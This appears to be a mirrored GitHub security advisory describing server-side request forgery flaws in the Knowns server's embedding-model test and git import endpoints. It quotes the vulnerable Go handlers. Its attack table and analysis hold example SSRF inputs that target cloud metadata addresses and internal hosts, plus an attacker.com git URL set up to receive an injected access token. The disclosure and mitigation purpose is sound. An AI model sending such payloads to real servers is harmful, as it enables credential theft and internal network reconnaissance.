GHSA-QX9V-M9GG-P5JG
Multiple Server-Side Request Forgery (SSRF) Vectors allowing Internal Reachability Oracle and Arbitrary Proxying
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-QX9V-M9GG-P5JG divulgada · CVSS 7.5 (GitHub) | |
| Remediación | Parche 0.30.0 | knowns · 0 d desde divulgación | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Overview
Verified. The Knowns server contains multiple Server-Side Request Forgery (SSRF) vulnerabilities that allow an attacker to make the server send arbitrary HTTP requests to internal or external destinations. These vectors lack allowlist validation, private IP blocking, and redirect protection, enabling internal network scanning, cloud metadata access (AWS/GCP/Azure), and credentialed data exfiltration.
The primary attack surface is exposed via unauthenticated endpoints (due to the previously identified Auth Bypass vulnerability), allowing remote attackers to probe internal infrastructure from the server's network context.
Affected paths
| File Path | Role | Vulnerability & Execution Impact |
| :--- | :--- | :--- |
| `internal/server/routes/embedding_models.go` | SSRF Oracle (Vector 1) | Unvalidated External HTTP Request (CWE-918): `POST /api/embedding-models/test` sends a POST request to attacker-controlled `apiBase` + `/embeddings` with attacker-supplied `Authorization: Bearer <apiKey>` header. Full error messages leak internal network topology (reachability oracle). |
| `internal/server/routes/imports.go` | Credentialed Git SSRF (Vector 2) | Blind SSRF via Git Clone (CWE-918 / CWE-200): `gitCloneImport()` and `gitLsRemoteHead()` clone arbitrary `http(s)` URLs using `exec.Command("git", "clone", ...)` and `exec.Command("git", "ls-remote", ...)`. When `KNOWS_GIT_TOKEN` or `git.token` is configured, requests are authenticated. |
| OpenCode Proxy (Unverified) | Potential Full Proxy (Vector 3) | Unauthenticated Reverse Proxy (CWE-918): User reports `/api/opencode/*` forwards full requests to attacker-chosen `host:port` after workspace switch. *Endpoint not found in current codebase - may be deprecated or renamed.* |
Root Cause
Vector 1 - Embedding Model Test SSRF Oracle
In `internal/server/routes/embedding_models.go`, the `test()` handler accepts user-controlled `apiBase` and `apiKey` and sends an HTTP POST request without any validation:
func (emr *EmbeddingModelRoutes) test(w http.ResponseWriter, r *http.Request) {
var req embeddingModelTestRequest
// ...
embedURL := req.APIBase // Attacker-controlled, no validation
if embedURL[len(embedURL)-1] != '/' {
embedURL += "/"
}
embedURL += "embeddings"
// ...
httpReq.Header.Set("Authorization", "Bearer "+req.APIKey) // Attacker-controlled header
client := &http.Client{Timeout: 10 * time.Second}
resp, err := client.Do(httpReq) // SSRF execution
if err != nil {
respondJSON(w, http.StatusOK, embeddingModelTestResponse{
Success: false,
Error: err.Error(), // Leaks internal error: "dial tcp 127.0.0.1:18999: connect: connection refused"
})
return
}
// ...
}Critical Flaws:
- No allowlist of permitted domains/IPs
- No blocking of RFC1918 (10.x.x.x, 172.16.x.x, 192.168.x.x), link-local (169.254.x.x), or localhost (127.0.0.1)
- Full error messages returned to attacker (reachability oracle)
- Attacker-controlled `Authorization` header enables credentialed SSRF
Vector 2 - Git Clone SSRF
In `internal/server/routes/imports.go`, `gitCloneImport()` and `gitLsRemoteHead()` execute `git clone` and `git ls-remote` commands with attacker-controlled URLs:
func (ir *ImportRoutes) gitCloneImport(source, name, ref, cachedHash string, dryRun bool) ([]importChange, []string, string, bool, error) {
// ...
cloneURL := ir.injectGitToken(source) // May inject KNOWS_GIT_TOKEN into URL
args := []string{"clone", "--depth", "1"}
if ref != "" {
args = append(args, "--branch", ref)
}
args = append(args, cloneURL, tmpDir) // Attacker-controlled URL
cmd := exec.Command("git", args...) // SSRF via git protocol
// ...
}
func (ir *ImportRoutes) gitLsRemoteHead(source, ref string) string {
url := ir.injectGitToken(source) // May inject KNOWS_GIT_TOKEN
target := "HEAD"
if ref != "" {
target = ref
}
cmd := exec.Command("git", "ls-remote", url, target) // Blind SSRF
// ...
}Critical Flaws:
- No URL validation (accepts `http://`, `https://`, `git://`, `file://`)
- `injectGitToken()` may inject credentials into attacker-controlled URLs
- `git clone` performs blind write to server filesystem
- `git ls-remote` is a blind SSRF (no response body returned to attacker)
Compounding Factor - Unauthenticated Access
Due to the previously identified Auth Bypass vulnerability (`AuthManager.Middleware` is a no-op when `!am.HasPassword()`), both SSRF vectors are fully accessible without credentials when the server is started without a password.
Attack Vector
| Phase | Request / Action | Effect |
| :--- | :--- | :--- |
| 1. Recon | Attacker identifies Knowns server on network (e.g., `192.168.1.50:6420`) | Server is unauthenticated due to missing `--password` flag. |
| 2. Internal Scan | `POST /api/embedding-models/test` with `apiBase=http://169.254.169.254/latest/meta-data/` | Server sends request to AWS metadata service. Error message leaks success/failure (oracle). |
| 3. Credentialed SSRF | `POST /api/imports` with `source=https://attacker.com/evil.git` | Server clones attacker repo. If `KNOWS_GIT_TOKEN` is configured, `injectGitToken()` injects credentials into attacker-controlled URL. |
| 4. Data Exfiltration | Attacker hosts malicious git repo with `.knowns/docs/` containing stolen data | Server clones repo, writes files to disk. Attacker can exfiltrate data via git commit history or side channels. |
Analysis
Reachability Oracle - Embedding Model Test
The `embeddingModelTestResponse` struct includes an `Error` field that returns the full error message from `client.Do()`. This creates a perfect SSRF oracle:
if err != nil {
respondJSON(w, http.StatusOK, embeddingModelTestResponse{
Success: false,
Error: err.Error(), // "dial tcp 10.0.0.5:8080: connect: connection refused"
})
return
}An attacker can:
- Scan internal network: `apiBase=http://10.0.0.{1-254}:{ports}`
- Access cloud metadata: `apiBase=http://169.254.169.254/latest/meta-data/` (AWS), `http://metadata.google.internal/` (GCP), `http://169.254.169.254/metadata/instance` (Azure)
- Probe internal services: `apiBase=http://internal-api.company.com/admin`
The 10-second timeout (`client := &http.Client{Timeout: 10 * time.Second}`) allows scanning of slow internal services.
Credentialed Git SSRF
The `injectGitToken()` function injects `KNOWS_GIT_TOKEN` or `git.token` credentials into the git URL:
func injectTokenInURL(source, token string) string {
for _, prefix := range []string{"https://", "http://"} {
if strings.HasPrefix(source, prefix) {
// ...
return prefix + user + ":" + token + "@" + rest
}
}
return source
}If an attacker controls the `source` URL, they can:
- Trick the server into sending credentials to `https://attacker.com/steal-creds`
- Access private repositories on internal git servers (e.g., `https://git.internal.company.com/secret-repo.git`)
- Perform blind write via `git clone` (files written to server filesystem)
Lack of Defense-in-Depth
Neither vector implements standard SSRF mitigations:
- No IP allowlist or blocklist
- No DNS rebinding protection
- No redirect following restrictions
- No request signing or HMAC validation
Fix
*Patch is available right now at New Release https://github.com/knowns-dev/knowns/releases.*
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npmknowns |
Corregida | 0.30.0 | 0 d | 0.35.0 no afectada |
0.30.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/knowns-dev/knowns/security/advisories/GHSA-qx9v-m9gg-p5jgLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
